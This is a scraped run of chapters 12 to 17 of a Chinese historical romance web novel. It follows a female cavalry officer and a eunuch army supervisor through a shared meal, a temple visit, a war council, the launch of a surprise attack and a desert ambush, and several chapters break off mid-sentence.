乔昭看着楼下的徐淮,笑意晏晏,口气却是漫不经心的,仿佛自己不是事件的主人公,只是个看好戏的路人。 “原来是乔都尉,真是什么地方都有您呢。”徐淮皮笑肉 12. 第十二章 《女将军和俏掌印》全本免费阅读 “乔都尉不请我进去吗?” 乔昭盯着徐纾言的脸,面色还是苍白,一双清浅的眼睛,里面夹杂着笑意,很淡。 侧过身去,乔昭让门外三人进来。 徐纾言倒也没有客气,施施然走到桌子面前。 徐霁从袖里掏出手帕将凳子以及桌面擦净,随后徐纾言才坐下。徐淮将茶杯洗净,倒了杯茶,二位侍从恭敬站在他身后。 “在下定北军都尉林珩,见过监军。”林珩看到徐纾言进来,忙站起身拱手行礼。 徐纾言在军里与乔愈年平级,甚至连乔愈年都要给他几分薄面。理论上乔昭林珩二人职位比他低太多,因此他俩见到徐纾言应该行礼。 不知道为啥,林珩面对徐纾言的时,一直心里有点怂。 明明徐纾言来了肃州后,整个人都十分平和淡然,一点也不像军中传的那样,性格阴狠狡诈。也没见他为难过那个将士,与平日从外界了解到的徐纾言全然不同。 但林珩就是怕呀!跟老鼠见了猫似的,恨不得躲得远远的。 徐纾言这才抬眼,望着面前的年轻人, 看着与乔昭差不多大,面上带着一丝紧张,低垂着头,不敢与徐纾言对视。 “林珩......”徐纾言沉思片刻,好似有点记不住他的名字。 “正是在下。”林珩忙上前一步,殷勤的狗腿样子让乔昭忍不住捂眼叹气。 “前日在元帅营帐里,看到一把造型奇特的弓箭,好奇试了一下,竟十分厉害。无论是射程还是命中率都远超普通弓箭,询问后才得知是军里的将士改装的,原来就是林都尉。” 徐纾言悠悠拿着茶杯,天青色的汝瓷映衬着修长的手指,轻抿一口茶又放下,便再也没动过。 林珩不好意思的的挠挠头,脸上有一点发烫。 “监军谬赞,只是闲来无事做的小玩意儿,未曾想竟真能在战场派上用场,是卑职的荣幸。” 乔昭看着二人你一言我一句的寒暄,人家徐纾言还没说什么,林珩都快把自己的老底全盘托出了。 当真是没眼看!抬手捂额...... 伸手轻轻叩了下桌子,乔昭面无表情看着二人,冷淡。 “还吃吗?” 林珩这才发现自己一直傻愣愣的站着,颇为尴尬,忙找凳子坐下。 桌上就几样菜,尤其是经过刚刚的小插曲以后,已经凉透了,不如刚出锅的时候美味可口。 乔昭自己是无所谓的,在军营里,冷水配干馍她也吃过。况且只是冷了点,也不是不能吃了。 至于别人吃不吃得下跟她又有什么关系呢,又不是她将人请上来的。 反而是林珩似乎觉得这样不太好,毕竟徐纾言还在桌上。看样子是准备和他们一起吃个午饭,就几个菜还是冷的,自己吃便罢了,接待上级就明显不太好。 徐纾言看着桌上的菜,没动筷。 乔昭自己是饿的不行,正准备大快朵颐。林珩看到她这样有些急了,监军都还没吃,她就一点不顾及准备夹菜。 在桌下的脚轻轻踢了踢乔昭,提醒她注意规矩。见她一点反应也没有,忍不住又踢了踢。 徐纾言顿了一下,片刻后转过头看着他,淡淡道。 “林都尉是有何事要说吗?” 林珩像是突然意识到什么,面容一下子涨红。整个人都尴尬的要命,恨不得现在就从二楼跳下去,以后捂着脸过活。 原来他一直踢的都是徐纾言,还踢了人家两脚。 天老爷!那可是九千岁! 气氛仿佛一瞬间凝滞,林珩单方面这样认为。毕竟乔昭和徐纾言二人都面色如常,看不出有什么问题。 “小的现在能进来吗?” 门扉又被叩响,小二轻声询问,候在外面等待。 徐霁将门拉开,只见外面占了好几个人,手里皆端着托盘,上面乘放着道道美食。 见徐霁点头后,众人才小心翼翼走进来,立在一旁。 乔昭抬眼看过去,只见小二轻咳一声,拿着手里的菜单,高声道。 “五味杏酪鹅一份!” 站在前面的人走到桌前,将手里的菜肴轻轻放下,热气腾腾的烧鹅散发诱人光泽,浓浓的杏仁奶香扑面而来。 “清炖蟹粉狮子头一份!” 又一人走至前来,将手中的佳肴放下。 “徽州桃脂烧肉一份!” “金陵丸子白一份!” “樱桃酒酿三份!” ...... 乔昭和林珩对看一眼,两人俱看见彼此眼中的震惊。看着自己点的那几个菜,还都冷掉了,在一桌满汉全席面前,颇显寒酸。 小二还在念着菜名,不乏有些肃州当地的有名吃食,想必是点来尝尝鲜。 片刻后,桌上已经慢慢当当,军里逢年过节都没这吃得丰盛。 “各位请慢用,小的就不打扰了。”言罢,酒楼里的人就缓缓退下。 房间里一时鸦雀无声,无人说话。乔昭停下手中的筷子,抬眸看着徐纾言。 “监军这是何意?” 徐纾言神色平静无澜,鸦羽场睫掀起,温和道。 “只是尝尝肃州美食。今日若不是乔都尉愿意接纳,恐徐某还不知肃州竟有如此美味。” 乔昭冷笑一声,她愿意接纳?她什么时候愿意接纳了,若不是徐纾言暗暗威胁她,乔昭早就跟他那些嚣张跋扈的手下对上了, “今日便算作徐某做东,请二位都尉共享午宴。还望二位都尉不要嫌弃才好。” 林珩连连摆手,着急道:“不嫌弃!不嫌弃!若不是有监军,今日我和乔昭还吃不上这些。” 徐纾言没有接话,淡淡一笑,低头便开始吃饭。 他吃东西也很斯文,小口小口嚼着,细细品尝,一看便是从小受过良好的教养。 乔昭也没在说什么,人家都说让吃了,难道她还能掀桌不成。 饭后林珩就起身准备告辞,他真的立刻就想离开这个地方。 原因无他,徐纾言真的气场太强了!和他在一起,就会不自觉开始注意自己有没有失礼的地方。吃到后半段,席间已经无人说话。 乔昭也不是多话的人,林珩说了几句,没人搭理他,就默默闭嘴吃饭了。 现下终于可以走了,乔昭也准备离开。正准备起身告辞,就听见徐纾言道。 “徐某第一次到肃州,许多地方都不熟悉。听闻乔都尉在肃州已有五年,想必对这一片十分熟悉。”徐纾言掀眸,直勾勾看着乔昭。“不知可否劳烦乔都尉陪在下在肃州逛一逛,了解当地的风土人情。” 乔昭沉默不语,没接受,也没拒绝。徐纾言还是那副温和淡然的样子,但是语气却是不容拒绝的强硬。 林珩的目光在二人之间巡视,真的太修罗场了,他只想马上离开。 林珩脑子一转,对着徐纾言拱手,道: “方才突然想起上月锻造的箭矢已经完工,地方偏僻,在下先行一步,恐不能陪监军同游肃州,望监军见谅。” 徐纾言点头,倒没有为难他。林珩给乔昭投去一眼,眼中明晃晃的是怜悯,只能让乔昭自求多福了。< 13. 第 13 章 《女将军和俏掌印》全本免费阅读 两个人继续往寺庙深处走去,曲径通幽,走过一条羊肠小道,豁然开朗。 入目便是一颗巨大的榕树,树干粗壮有力,树枝向四面八方舒展开来,枝繁叶茂,郁郁葱葱。 最令人瞩目的还是满树的红绸,随风飘扬,盼望着风将愿望托向高处。 许多人站在树下,双手合十放在心口上,念念有词,随后向上抛掷。有的人幸运,红绸被挂在了树枝高处,喜笑颜开。而有的人连抛几次,红绸都轻飘飘落到地上,愁闷苦恼。 走近一看,便能看见红绸上密密麻麻的全是愿望。有人洒脱,几个字足矣。有人贪心,字尽量小,恨不得将平生所有的欲望写上去。 求姻缘,求财运,求平安,什么愿望都有。 人生苦短,在生命长河里,绝大部分的人都是不圆满的。或许应该这样说,人总是贪得无厌,永远无法满足。 乔昭倒是觉得挺有趣的,走到树下面。抬手,拿住红绸一端,饶有兴致的看着上面的祈愿。 徐纾言静默站在树下,既不像旁人一样祈愿,对别人的愿望也无甚兴趣。他仿佛是个局外人,没有悲欢喜乐,木然看着他人笑他人哭。 许久乔昭才发现徐纾言不在她身边,转头去寻。 发现他看起来呆愣愣的站在榕树下面,树那样大,遮天蔽日。树下人影绰绰,呼朋唤友,前来祈愿。 唯独他一人,形单影只,孑然一身,像一个找不到家的游魂,孤寂飘荡于人世间。 家?徐纾言哪里有家呢? 乔昭想起那日父亲谈及徐纾言,看似风光无限,可踏错一步都将万劫不复。 这人身上总是很复杂,既让人心生忌惮,不敢放松警惕。又莫名有一种脆弱破碎之感,令人怜惜。 总之很危险,乔昭并不想太靠近。 徐纾言从来不拜神佛,或者说他求了,也拜了,但神佛仿佛听不见的祈愿。 无论他心再诚,哪怕满身血泪跪在灵堂,祈求上天,让母亲不要死。 他甚至可笑的向神佛祷告,期盼母亲可以顾念自己,可母亲仍是那样决绝,毅然随父亲而去,再没回头看看自己的孩子。 最开始他只是哭,悲伤父母离去,一瞬间风雨飘零。到后面他又恨,这种恨是隐秘的,每每在他最脆弱的时候,恨意就会浮现。他恨为什么父母从未考虑自己,他们为理想为爱情毅然赴死的时候,可曾想过稚子无辜。 徐纾言又陷入那些自厌情绪,他不知道自己如此苟活有何意义,或许早该随父母而去。 两人隔得很远,中间人来人往,于他都无甚关系。 唯独与乔昭双目对视的那一刻,万事万物仿佛有了实质,自己不再是一抹游魂,与世界重新有了链接。 这次不是一个人,身边有乔昭,哪怕每次他们都针锋相对。 可这也是一种联系,不是吗? ...... 乔昭走上前去,停在徐纾言身边。他好像还没回魂,一副神游天外的样子, 看起来真的呆呆的,与平日善于心计的样子完全不一样。 乔昭眼眸一弯,笑道: “监军想要上去挂个红绸吗?听说肃州这个寺庙十分灵验,因此这里香火旺盛,许多人都是来还愿的。” 徐纾言自己是不信这些的,但是乔昭眼睛亮亮的,弯着的眉眼仿佛会说话,让人总不忍心拒绝。 这厢徐纾言还没开口。那边早就盯住他们的小沙弥就拿着红绸走上前来。 “二位施主,可是有何心结未解,才再此伫立良久。” 乔昭和徐纾言一进来,小沙弥就注意到这二人。 无他,就是因为这二人穿着打扮,一看就是富庶人家。富人家的手指缝里漏出来的零头,都比穷人节衣缩食供奉的多。若是能让这二人捐个香火钱,主持定会对他大加赞赏。 乔昭转头看向小沙弥,颇觉有趣,悠悠问道: “小师傅知道我们有何心结吗?” 徐纾言也看向他,倒想听听他能说出些什么。 听到这个问题,小沙弥心里一乐,来活了。 “您二位最近想必有许多烦心事,主要是关于事业方面的。”事业方面是个人都沾点吧。 乔昭心想每天睁眼闭眼就是战情,不是练兵就是商讨计策,也确实是事业方面的。 “却是如此。”乔昭点点头,认同到。 徐纾言倒是没说话,小沙弥看他对此无甚兴趣的样子,就将全部火力对向乔昭。 “想必施主在财运方面也有下滑,时常感到束手无策。” 战争开始,百业凋零,无论是谁的财运都会下滑吧,小沙弥得意的想,问了个绝佳百搭的问题。 自从乔昭来了肃州,刚开始没改掉大手大脚花钱的习惯,经常遇到喜欢的东西打包结账的时候,才发现自己钱包空空如也,闹过许多笑话。 因此小沙弥说的也算对,乔昭点了点头。 接下来小沙弥又问了几个问题,基本上是他们寺里的通话。许多人见状也过来围观,不一会儿乔昭徐纾言身边就围满了人。 小沙弥的问题看似刁钻细致,但仔细一想就会发现他说的话,十个人有九个人都中,连路边的狗都能对上一两条。 周围的人连连称到,皆向他投去崇拜的眼神,直夸大师料事如神! 看那沙弥越说越起劲的样子,乔昭觉得逗趣。她当然知道他的这些门道,不过没必要拆穿,能图一乐也是好的,何必这么认真呢。 见说的差不多了,小沙弥开始兜售手里的红绸。 不愧是佛门之地的红绸,比外面的价格高了十倍不止。但是许多人愿意为此买单,图个吉利。 乔昭也要了两条,反正来都来了。 手里握着两条红绸,乔昭顺手递给身边的徐纾言一条。 徐纾言一怔,没有立刻接过去。 见没人拿手里的东西,乔昭转头,道: “监军不写吗?我买了两条。” 徐纾言看向乔昭,她依然将手里的红绸递向自己,低声道: “我没有什么要写的。” 乔昭挑眉,似乎是没想到徐纾言会如此说。 “哪怕是圣人都有自己的欲望,更何况凡人。监军是怕旁人知晓您的心思,所以不愿将这些想法付诸纸上?” 徐纾言不语,片刻后,又像是忍不住,突然开口道: “我从不信这些,天上根本没有神佛,也没人能听见那些悲哀的祈求。” “若有神佛,为何有流离失所的乞丐。若有神佛,为何有战死沙场的兵卒。若有神佛,为何有无父无母的孤儿。难道他们没有祈求过神佛?难道他们不想自己的父母活着?” 他语气越说越紧绷,速度越说越快,甚至有些没办法控制自己,眼角都泛起了红色。 “这世间根本没有神佛,只有弱者才会去祈求上苍的怜悯!” 良久,乔昭都没有说话,两人之间陷入一片寂静。 徐纾言转身就走,片刻也 14. 第 14 章 《女将军和俏掌印》全本免费阅读 六月十七,大暑,宜祭祀、祈福。 密探传来的急报,一封又一封,军里的会议商讨了一次又一次。 乔昭黑着黑色戎装,身戴银色软甲,马尾高束,眉眼透着凛然之气。 将营帐门帘掀开,人还没来齐,但里面已经有数十个将领,都是在军里说得上话的人。营帐里气氛热烈紧张,大家都在激烈的商讨着。 唯独坐在上方的徐纾言,已经来了肃州许久,或许是水土不服的原因,徐纾言始终身型消瘦。 他安静不语,只低头看着地形图,似乎在思考又好像什么都没想,让人琢磨不出他的想法。 自乔昭潜入西戎敌军,带回来西戎主帅阿尔金.鲁能已经离开军营的消息后。乔愈年又派出了数十波密探隐秘潜入西戎,验证消息是否属实。 得到的回复皆是消息真实。 此番北齐这边的将领皆欢欣鼓舞,踌躇满志,认为这是一个千载难逢的机会,必须要死死抓住。将西戎一举击败,再无翻身之力。 这场战争打了太久太久,久到让人绝望,是否战争永远没有尽头。每日面对的皆是漫天黄沙和呼啸的北风,战况紧张的时候,夜里甚至不敢脱去铠甲。 高楼倚盼的佳人,两眼泪湿衣襟的父母,亭台楼阁,草长莺飞的中京好似只能在梦里相见。 如今喜讯从天而降,西戎那边竟然发生内斗,阿尔金.鲁能自身难保,此时不战更待何时! 可是乔愈年却十分犹豫,他与阿尔金.鲁能不是第一次交战。从他是西戎小将时,乔愈年便注意到此人,在战场上有勇有谋,下手狠辣。短短几年时间便坐到了西戎主帅的位置,后来才知他竟是西戎王的儿子,是一个不可小觑的对手。 他出兵诡谲,往往在意想不到的地方给人致命一击,向阴狠的毒蛇在角落伺机而动。乔愈年战术保守,因此上过好几次当。 现下,西戎的缺点明晃晃的暴露在敌人面前,很难不让乔愈年觉得对方是在诱敌深入,身后可能还有更大的阴招等着北齐。 所以乔愈年派了一波又一波的探子,就是放心不下。 可传来的消息都在证实,这真的是一个好机会。若是因为他的犹豫错过这个机会,那就是他作为主帅的严重失职。 军里有不少将领已经按捺不住,数次向乔愈年提议速速出兵,杀西戎一个措手不及。众将士军心高涨,意愿强烈。 乔愈年也下定决心,这次必要拿下西戎!告慰在战场上死去将士的在天之灵。 乔昭进来的时候,营帐里已经讨论到如火如荼的阶段。 “参见元帅,郑将军。”乔昭拱手行礼,沉声道。 随后又走向坐在上位的徐纾言,他安静坐着,没有参与将士们的交谈。 自古监军不可参与主帅军队里制定的计策和行动,但是这只是理论上。实际上在军营里监军势大,时常干涉军务,监军与主帅不合的事件数不胜数。 “骑都尉乔昭,见过监军。” 乔昭站在下方向他行礼,自从上次寺庙一别,二人再无交际。 以徐纾言的级别,在军里的大小事务只需要和乔愈年商讨即可,还轮不到乔昭过问。 没有交际不代表听不到乔昭的消息。 乔昭在军里颇有名气,不仅仅是因为她几年前在擂台上的一鸣惊人。更多的还是,她这五年在战场上的出色表现。她胆色过人又心细如发,作战时既有乔愈年的谨慎仔细,又灵活机敏,懂得变通。 数次重创敌军,一马当先,使敌军闻风丧胆。 因此就算不去探听,乔昭的消息也能传到徐纾言耳朵里。 徐纾言这才抬眸看着面前的乔昭,两人眼眸交汇。乔昭眼神坦荡清澈,好似没将那日的事放在心里。 片刻后,徐纾言又挪开视线,懒懒的低垂下眼睫,抬抬手示意免礼。 乔昭也不甚在意,转身便走向乔愈年身边,乔愈年和郑冬青站在沙盘面前,那里已经围了一群将士。 徐纾言又抬眼,看着乔昭挺直的背影,高束的马尾,眼底闪过一丝情绪,难以让人发觉。 ...... 见人来的差不多,众位将领便开始落座。 乔愈年和徐纾言坐在上位,郑冬青坐在乔愈年下一个位置,而乔昭还在后面两位,与徐纾言相隔甚远。 除了徐纾言,各位将士们都身着戎装,披戴软甲,全副武装的端正坐着。 众将领早就忍不住,想要畅所欲言。但是徐纾言没有发话,大家只能憋着,营帐里一时陷入难以描述的安静。 片刻后,徐纾言才将手里的地形图放下,抬眼看向众位将领。他目光平淡,不带任何感情,冰凉凉的,将众人心里的热焰一下子浇灭。 众人过于激烈上头的情绪,冷静了一点。 “今日所谓何事,想必众位将军已经知晓。” 徐纾言将地形图递给身后的徐霁徐淮,二人接过地图展开,将之悬挂于上。北齐与西戎的战略分布一眼明了。 北齐占据肃州,高耸的城墙屹立不倒,易守难攻,将两军隔开。西戎在离肃州二十里地的一个戈壁,虽然黄沙肆虐,但奇迹般的,在这样的沙漠里竟然有一汪清泉,西戎军队在此安营扎寨。 徐纾言站起身,走到沙盘面前,抬手将标志西戎营地的小黑旗拔下来,随手掷在一旁。随后便将北齐的赤红小旗插在西戎营地上。 目空一切的动作,透着冷然的杀意。徐纾言厉声道: “今日商讨征战事宜,还望诸位将军知无不言,言无不尽,为讨伐西戎贡献良策。” “是!”众位将领立即起身,抱拳齐声道。 见徐纾言说完后,乔愈年随即将话语权接过去。 “半月之前,我军探悉到西戎主帅已经离开,并带走了五万军队。想必此事诸位已经知悉。于北齐而言这是一个绝佳的时机,因此决定闪击西戎。” 乔愈年三言两语概括了现在的情况,随后又道: “对于此次如何闪击,还需于诸位共同商讨。” 营帐里一时议论纷纷,但是没人愿意第一个说。 片刻后,一个身型精壮,满脸络腮胡的将领站起身来,面容严肃道: “西戎既已调走五万军队,想必兵力与我军有一定悬殊。卑职认为可以采取强攻之术,迅速击败敌军,摧毁其大部分力量。” “刘将军此言差矣,虽西戎调走了五万兵力,但是总兵力并没有比西戎少太多。若是一次强攻,恐难以攻下。不若采取疲劳战法,组织小规模军队,多次袭击,使其疲惫不堪,再一举拿下。” 一位年纪稍大一些的将领站起身来,提出自己的计谋,更加保守。 此计一出,那些较为激进胆大的将领并不满意,立刻反驳。 “对方好歹也有将近十万的兵力,若是这样小心翼翼的打,那要打到猴年马月?” “卑职也认为此计不妥。西戎军队凶猛狠辣,若是不能一击击败,难保对方不会狗急跳墙,卷土重来。” 只听见有人冷哼一声,阴阳怪气道: “一击击败?谁敢拍胸脯说可以将西戎一击击败?” 只听见“砰——”一声,一个将领拍桌而起,满脸涨红,怒发冲冠。 < 15. 第 15 章 《女将军和俏掌印》全本免费阅读 夜黑如墨,营帐里的商讨终于结束。 最后确定乔愈年和郑冬青率领大军,正面强攻西戎敌军。乔昭林珩率领一万精锐骑兵,从后方突袭。 精锐骑兵先行,到了军队后方以后,点燃狼烟,一抹孤烟直冲云霄,以此为信号,示意可以猛烈进攻。 会议开的急促,下达的军令也十分迅速,没有任何喘息时间。乔昭今夜便要集结兵马,丑时出发,待到第二日夜半才能绕至西戎后方。 会议结束以后,徐纾言先行离开营帐,随后众将领离开营帐。 “这乔元帅当真是铁面无私,这场仗最危险的便是后发突袭,若是一招不慎,连命都搭进去。竟然让自己的亲女儿去。” 徐霁徐淮跟在徐纾言身后,走在黑沉沉的营地里,四周皆是火把堆起来的篝火,勉强将这营地照得有三四分亮。 徐淮说话总是口无遮拦,但他也不是全然没有脑子,什么场合说什么话,他心里门清,所以徐纾言对此也懒得管教。 徐霁更沉稳,对于乔愈年的做法也十分佩服,赞道:“乔都尉确实最适合当这领兵之人,乔元帅在领兵作战这些方面,实在是用兵如神。” 徐淮走在后面,提着灯笼,边走边说:“据说乔元帅有一个儿子,五年前战死肃州。现下昌敬王府只余乔昭一颗独苗。” 后面的话徐淮没说,若是乔昭有个三长两短,这昌敬王府就绝了后,反正他是做不到这么刚正不阿。 闻言,徐霁也有一些感慨,五年前那场战役实在壮烈,朝廷上下倍感惋惜。 “乔家满门,世代忠义,乔都尉也颇有乃父之风范。” 徐霁不似徐淮,与乔昭一见面就互相不对付。徐霁早年就听闻乔愈年战场上的英勇事迹,因此对于乔愈年的女儿也带了几分爱屋及乌。 徐纾言走在前方,安静不语。 乔愈年叫住将要离开的乔昭。 乔愈年站在沙盘面前,上面绘制的便是北齐和西戎的战场。 他转过头来,脸色复杂,纠结、担忧、决绝,双眉皱起,表情凝重。 “昭昭,这场仗我们打了太久,多少将士战死沙场,埋骨青山。可就算如此,仍不能后退。此番若是能成,这场仗也算到了尽头,悬挂在北齐头上的利刃将不复存在。” 盯着乔昭的脸庞,乔愈年仿佛看到了自己和妻子的影子。 乔昭轮廓像宁安郡主,面相柔和。但她的五官却于乔愈年如出一辙,尤其是眉眼部分,不羁肆意。从小到大,许多人都夸赞她,光捡着父母的优点长。 乔愈年眸光肃然,语气却是极尽克制,看似冷硬说到后面却连连叹息。 “昭昭,此番凶险万分,你我皆知。可没有人比你更加合适,若你不去,那便会牺牲更多的兵卒。” “是父亲对不起你,致你于险境。可是昭昭,身为北齐主帅,若是我也顾念私情,弃兵卒于不顾,如何能带领定北军击败西戎。” 乔愈年语气切切,黑夜似乎催发了他的情绪,这样一个严肃理智的父亲,也会面对两难境况时佝偻了腰。 在乔昭印象里除了在母亲面前,乔愈年面对乔昭和乔序的时候是不苟言笑的。 若是做的好,乔愈年不吝啬与夸奖。可若是做的不好,也不会包庇纵容。父亲从来是赏罚分明,刚正不阿的。 乔昭知道自己是这次后方突袭的最佳人选,所以她一开始就知道,乔愈年绝对会选择她作为精兵之人,因为父亲就是这样一个冷静理智的主帅。 但是乔昭没有想到的是,乔愈年会为此愧疚不已。仿佛这一刻,乔昭才深刻的感知到了父亲沉重的爱。 乔昭一时难以诉说内心的感受,父女二人相顾无言。 片刻后,乔昭上前,衣摆一撩 “” 夜已深了,军令一下,再无悔改的余地。 乔愈年拍了拍乔昭的肩膀,温声道: “今晚便要启程,去收拾收拾行李,千万要保重自身。若是瞅见势头不对,一定要及时撤退,勿要陷入敌人陷阱。” 乔愈年总是觉得心里不安定,又叮嘱了几句。 随后乔昭便出了营帐。 离启程的时间还剩下两个时辰,现在睡也睡不着。今日月光这样好,月亮皎洁洒下光辉,犹如玉盘悬挂于夜幕之上。 乔昭了无睡意,便绕着校场走了一圈,随后又想去马厩看看疾云。 自疾云成为乔昭的坐骑,已经过了两三个月。乔昭闲来无事便会将疾云牵出来训练,一人一马磨合得十分顺利。 疾云是匹烈马,不服管教,但面对乔昭时却温顺得犹如小马驹,乔昭还带着疾云参加过军里的骑射比赛,得了头名。 这次也是乔昭第一次驾着疾云上战场,边想着将疾云牵去河边洗洗,后面可有得辛苦呢。 马厩里灯火通明,有几个兵卒来来回回走动,一边记录马匹数量,一边检查马匹身体情况。 这次最先出发的便是一万精锐骑兵,所以要提前将马匹检查好,以便启程时,可以直接上马走人,不必多耽误功夫。 乔昭走进马厩,里面的兵卒看到乔昭,忙停下手里的任务,向乔昭拱手行礼。 “你们忙吧,我只来看看,不用管我。”乔昭摆摆手,便拿着火把向里面走去。 疾云被饲养在了单独的马厩,居住环境和饲料都与寻常马匹不同。 乔昭渐渐往里走去,脚步声在黑夜里犹为清晰。越往里走越是安静,那些兵卒还没有检查到这些马匹,因此战马都在沉沉入睡。 火把照亮方寸之间,乔昭的脸颊在火光下半明半暗,马儿因为亮光微微掀了掀眼皮,打个响鼻又沉沉睡去 “你在干什么?” 黑暗中,一声清亮的声音穿来。 乔昭停下脚步,看着眼前这个穿着黑衣的男子,从后面看身型高大,又几分熟悉之感。 黑衣男子听到声音,身体微不可查的顿了顿,抱着草料的手抖了抖,随后缓缓放下手里的草料,转过身来。 乔昭面上没有任何表情,眼神却透着十分的冷意,目光定定看见此人转过身来。 “将头抬起来。” 黑夜里,乔昭的声音犹为冷冽,透着压迫感,让人控制不住的想要逃走。 那人将头抬了起来。五官立体,深邃的眼窝,高挺的鼻梁,颧骨突出。 是平日里喂养疾云的兵卒。 这人乔昭有印象,从疾云来肃州第一日,便是此人在喂养,后面也一直是他。 16. 第 16 章 《女将军和俏掌印》全本免费阅读 丑时以至,黑夜如墨,万物陷入沉沉昏睡,肃州军营里火光点点。 乔昭坐在马上,一袭黑色的戎装,简洁修身,背后是冷硬的鸣鸿刀。在乔昭后侧方的是林珩,这次也一起参与突袭。 一万精锐骑兵早已整装待发,将士们身骑高头大马,个个英姿勃发,只待一声令下,便直捣黄龙,攻下西戎。 黑夜寂静万分,校场里是黑压压的铁甲军队,杀意冷冽,令人不寒而栗。 将士们却沉默肃穆,一言不发。只有座下骏马,时而打个响鼻。战争一触即发,萦绕着紧张的氛围,高昂的战意在心中激荡。 四周只有火把照亮着,火光明灭,照在一个个坚毅的脸上。黑夜里,赤红的北齐军旗迎着北风飒飒飘扬,耀眼夺目。 徐纾言和乔愈年缓缓走上擂台, 徐纾言身着黑色锦袍,大襟宽袖,衣服上面用金色勾勒出四爪蟒,爪边是祥云图案,云蟒张牙舞爪,直冲云霄,腰间穿戴着洁白无瑕的玉带,尊贵无比。 走在他身侧的乔愈年,黑色战袍,身披银色铠甲,腰上是丝绸制成的腰带,上面镶嵌着一颗墨绿色的玉石,头戴青铜盔,脚踏高筒靴,手持红缨长枪。 跟在二人身后的徐霁,脊背微弓,两手平直向前伸,手心向上,手中放着一柄金色的长剑,剑鞘上镶嵌着大大小小的宝石,在黑夜中闪烁着光芒。 下面的兵卒们看到那柄金色长剑,神情含着激动,眼睛里透着亮光。 尚方宝剑。 徐纾言和乔愈年在上方站定。 校场上的氛围更加凝重,甚至连马儿好像都预知到危险的氛围,安静的立在一旁,不再发出声音,只有北风呼啸而过的声音,在每个人的耳边肆掠而过。 “诸位将士们!” 徐纾言清冷的声音随着风传到每个人的耳朵里,让人为之一振。 “西戎对我们的国家虎视眈眈,家国就在我们身后,绝不允许敌军践踏养育你我的故土!西戎铁骑若要攻入北齐,只能踏着你我的鲜血过去!养兵千日,用兵一时!与西戎决一死战的时候到了!” 随即徐纾言将手往前一放,徐霁连忙上前,将尚方宝剑放在徐纾言手里。徐纾言转手拿过长剑,手握住剑柄,一把将剑拔出,只听见一声铮鸣剑啸,寒光闪过,利剑出鞘。 白皙的手指,指节分明握着剑柄,将利剑直指天际,撼人心魄。 “此战必胜!” 随后,校场里传来一声整齐雄厚的呐喊: “此战必胜!” 乔愈年站在擂台上方,扫视全场,身姿笔直,神情冷峻严肃,高声喊道。 “骑都尉乔昭出列!” 乔昭利落翻身下马,大踏步向前一步,拱手行礼,扬声回道: “属下在!” 乔愈年目光凌厉,声音沉沉: “今任命你为此次出征的领帅,突袭西戎,烧毁粮草,断其后路。” “可能完成任务?” 乔昭直起身,目光直直望着上方的乔愈年,扬声道: “定不负所望!” 天还没亮,夜空中还挂着漫天星子。四周的篝火烧的亮堂,木头在火焰中传出噼里啪啦的声响。一颗火星溅了出来,又迅速熄灭,湮灭在空气中。 乔愈年将擂台中间的赤红军旗一把扯下,狠狠一扬,暗红色的旗帜在空中划出凌厉的弧度。 “启程!” 随后乔愈年将手中的旌旗向乔昭的方向一抛,乔昭一把握住旗杆,将军旗高高举起,任由风将旗帜吹拂。 旗帜的传递,仿佛完成了一场责任的交接。 黑压压的铁甲军队开始缓缓向城外驰骋而去,校场上扬起一层层黄沙,良久又随着军队的走远慢慢落在地上。 乔愈年一直站在擂台上目送着队伍的离开,知道马蹄声渐远,知道再也看不到队伍的身影,才垂下注视的目光,几不可闻的叹息。 这会儿的乔愈年从冷峻的元帅又变成了一位担心子女的父亲。 徐纾言还站在擂台上。沙漠里昼夜温差大,晚上的肃州十分寒冷,再加上风一直刮不停,徐纾言的脸色也透露出一丝苍白。 “乔元帅可是担心乔都尉?”徐纾言问道,声音在夜里显得十分冷寂。 “监军说笑,怎会不忧心?这次突袭危险,无论是谁前去,我都忧心不已。” 乔愈年说话不留一丝把柄,八面玲珑。 徐纾言点点头,丢下一句话:“此次突袭我定会如实禀报圣上,不埋没任何一个赤胆忠心的将士。” 随后徐纾言缓缓走下擂台,徐淮站在台下等候多时,一看到徐纾言下来,忙将披风披在他身上。 纯白的毛领更是衬得徐纾言肤白如雪,脸上那抹病色怎么也掩藏不住,他一向是身体不好的。 乔愈年还站在擂台上,一时怔愣,不知徐纾言所谓何意。 莫非他要在圣上面前为乔昭说美言几句?可是徐纾言又是这么好说话的? 徐纾言在朝堂上举足轻重。他虽然是一个宦官,但是从小伴随小皇帝长大,在当今圣上面前说话十分有分量。 朝堂上有些臣子虽心底里看不起他,但若是想要为自家人某个一官半职,或者那些小官想要升官加爵,便想尽法子,前去贿赂徐纾言。 徐纾言也不是什么东西都收,什么请求都帮。大多数都是置之不理,若是遇到了真的喜欢的东西,才会考虑一下。他喜好多变,文武百官也摸不清。 虽然乔昭此次回朝,定是能得到个一官半职。但若是从中有徐纾言说几句话,官阶肯定升不少。 乔愈年心理想了很多,但他也知道,此事做不了准,也不适合大张旗鼓拿出来说,便三缄其口从未对任何人说过今夜与徐纾言的对话。 ------------------------------------- 一万军队在沙漠中沉默前进,队伍里所有人都目视,前方无人交谈,只有马蹄踏在坚硬的沙粒上发出的声音。 乔昭骑在前方,赤红色披风随风飘扬,她黑巾覆面,只余一双乌黑的眼睛露在外面。 林珩策马跟在她的身边,两个人都没有交谈。 此次他们是要绕路道西戎后方,因此路程比直接强攻西戎路程远五倍有余。哪怕夜以继日的赶路,都要一天一夜。但是将士们不能不吃饭,哪怕人能受得住饥饿,马匹也受不住长时间的驰骋。 若 17. 第 17 章 《女将军和俏掌印》全本免费阅读 “敌袭!速速撤退!”乔昭大声嘶吼着! 变故发生在一瞬间,所有的将士都还没反应过来。 刚刚还寂静的黄沙,突然簌簌抖动着,不断有人从砂砾中站起身来。他们穿着土黄色的衣服,卧倒在沙漠里,浑然一体,全然没有被发觉。 从乔昭第一声命令落下,队伍就迅速往后退,但是已然来不及了。沿路上隐蔽的西戎军队呈包抄之势,将定北军全部围了起来,定北军插翅难逃。 只听见声声铮鸣剑啸,将士们纷纷抽出利剑,横在身前。乔昭手里紧握着鸣鸿刀,目光紧紧盯着对面的西戎敌军, 对方军队里,一人身骑高头大马,皮肤黝黑,通身张狂的气质。 “乔昭,我知道你。定北军元帅乔愈年的女儿。”对方面容深邃,眼睛如鹰隼般锐利,是西戎的将领,说着蹩脚的北齐话。 “我道乔愈年会派谁来呢,原来将自己的女儿派来后方围剿啊。”那人坐在马上,说话带着嘲讽之意,看着定北军的眼神犹如待宰羔羊。 